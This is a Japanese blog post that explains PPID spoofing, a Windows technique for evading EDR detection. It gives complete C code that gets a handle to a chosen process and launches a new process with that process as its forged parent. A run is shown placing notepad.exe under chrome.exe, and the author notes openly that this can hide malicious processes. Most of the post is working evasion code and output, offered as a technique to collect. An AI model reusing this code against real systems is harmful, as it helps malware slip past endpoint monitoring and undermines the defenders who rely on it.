見出し画像

#145 PPID Spoofing

 引き続き、Windows APIで遊んでいます。今回は、EDRの検知回避でよく使われるPPID Spoofingについて。

PPID Spoofing

 PPID Spoofingは、親プロセスIDの詐称(Parent Process ID Spoofing)を行うテクニックです。EDRは、プロセスの親子関係からマルウェアを検知することがあります。例えば、Excelからpowershell.exeのプロセスが生えていたら明らかにおかしいですよね。
 このような検知を回避するために、生成するプロセスの親プロセスを怪しくないものに差し替えてしまおうというのが、この技です。

流れを簡単に説明すると、

  1. InitializeProcThreadAttributeListで、プロセスの属性値のリストを初期化する。

  2. UpdateProcThreadAttributeで、プロセスの属性値を更新する。PROC_THREAD_ATTRIBUTE_PARENT_PROCESSを指定することで親プロセスIDを変更できる。

  3. CreateProcessでプロセスを作成する。先ほどの属性値のリストを渡す。

それでは、やってみましょう。

コード

Process IDから、プロセスのハンドルを取得する関数。

BOOL GetRemoteProcessHandleFromPid(DWORD dwProcessId, HANDLE* phProcess) {

	DWORD adwProcesses[1024 * 2];
	DWORD dwProcessLen = NULL;
	DWORD dwReturnLen2 = NULL;
	DWORD dwPidCnt = NULL;

	HANDLE		hProcess = NULL;
	HMODULE		hModule = NULL;

	if (!EnumProcesses(adwProcesses, sizeof(adwProcesses), &dwProcessLen)) {
		printf("[!] EnumProcesses failed : %d \n", GetLastError());
		return FALSE;
	}
	dwPidCnt = dwProcessLen / sizeof(DWORD);

	for (int i = 0; i < dwPidCnt; i++) {
		if (adwProcesses[i] != NULL) {
			if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, adwProcesses[i])) != NULL) {
				if (!EnumProcessModules(hProcess, &hModule, sizeof(HMODULE), &dwReturnLen2)) {
					printf("[!] EnumProcessModules failed at PID: %d : %d \n", adwProcesses[i], GetLastError());
				}
				else {
					if (adwProcesses[i] == dwProcessId) {
						wprintf(L"[+] Found process : %d \n", adwProcesses[i]);
						*phProcess = hProcess;
						break;
					}
				}

				CloseHandle(hProcess);
			}
		}
	}
	if (*phProcess == NULL) {
		return FALSE;
	}
	return TRUE;
}

PPID Spoofingをする関数。

BOOL PpidSpoofing(IN HANDLE hParentProcess, IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {

	CHAR lpPath[MAX_PATH * 2];
	CHAR WnDr[MAX_PATH];
	SIZE_T sThreadAttList = NULL;
	PPROC_THREAD_ATTRIBUTE_LIST pThreadAttList = NULL;
	STARTUPINFOEXA SiEx = { 0 };
	PROCESS_INFORMATION Pi = { 0 };

	RtlSecureZeroMemory(&SiEx, sizeof(STARTUPINFOEXA));
	RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));

	SiEx.StartupInfo.cb = sizeof(STARTUPINFOEXA);

	if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
		printf("[!] GetEnvironmentVariableA failed: %d \n", GetLastError());
		return FALSE;
	}

	sprintf_s(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);

	InitializeProcThreadAttributeList(NULL, 1, NULL, &sThreadAttList);
	pThreadAttList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sThreadAttList);
	if (pThreadAttList == NULL) {
		printf("[!] HeapAlloc failed: %d \n", GetLastError());
		return FALSE;
	}

	if (!InitializeProcThreadAttributeList(pThreadAttList, 1, NULL, &sThreadAttList)) {
		printf("[!] InitializeProcThreadAttributeList failed: %d \n", GetLastError());
		return FALSE;
	}

	if (!UpdateProcThreadAttribute(pThreadAttList, NULL, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParentProcess, sizeof(HANDLE), NULL, NULL)) {
		printf("[!] UpdateProcThreadAttribute failed: %d \n", GetLastError());
		return FALSE;
	}

	SiEx.lpAttributeList = pThreadAttList;
	if (!CreateProcessA(
		NULL,
		lpPath,
		NULL,
		NULL,
		FALSE,
		EXTENDED_STARTUPINFO_PRESENT,
		NULL,
		NULL,
		&SiEx.StartupInfo,
		&Pi)) {
		printf("[!] CreateProcessA failed: %d \n", GetLastError());
		return FALSE;
	}
	*dwProcessId = Pi.dwProcessId;
	*hProcess = Pi.hProcess;
	*hThread = Pi.hThread;
	DeleteProcThreadAttributeList(pThreadAttList);
	CloseHandle(hParentProcess);

	if (*dwProcessId == NULL || *hProcess == NULL || *hThread == NULL)
		return FALSE;

	return TRUE;
}

メイン関数。親プロセスIDを受け取って、そのプロセスにPPID SpoofingしたNotepad.exeを起動します。

int main(int argc, char* argv[])
{
	if (argc < 2) {
		printf("[!] Usage: %s <Parent PID>\n", argv[0]);
		return -1;
	}
	DWORD dwParentPid = atoi(argv[1]);
	HANDLE hParentProcess = NULL;
	DWORD dwPid = NULL;
	HANDLE hProcess = NULL;
	HANDLE hThread = NULL;
	LPCSTR lpCmd = "Notepad.exe";

	if (!GetRemoteProcessHandleFromPid(dwParentPid, &hParentProcess)) {
		return -1;
	}
	printf("[i] PPID Spoofing...\n");

	if (!PpidSpoofing(hParentProcess, lpCmd, &dwPid, &hProcess, &hThread)) {
		printf("[!] PPID Spoofing failed\n");
		return -1;
	}
	printf("[+] PPID Spoofing success: %d\n", dwPid);
	WaitForSingleObject(hThread, INFINITE);
}


実行

chrome.exe(PID: 27176)を指定してみます。

>  C:\Projects\test\PPIDSpoofing\x64\Debug\PPIDSpoofing.exe 27176
[+] Found process : 27176
[i] PPID Spoofing...
[+] PPID Spoofing success: 16804

すると、chrome.exeの下にnotepad.exeのプロセスが現れました!

こんな感じで、やばいプロセスを隠蔽できます。


まとめ

 検知回避のテクニックは山ほどありますが、すぐに対策されたり、使えなくなったりしてしまいます。手札は多いに越したことはないので、新しいものをどんどん試して、血肉にしていきたいと思います!

EOF


この記事が気に入ったらサポートをしてみませんか?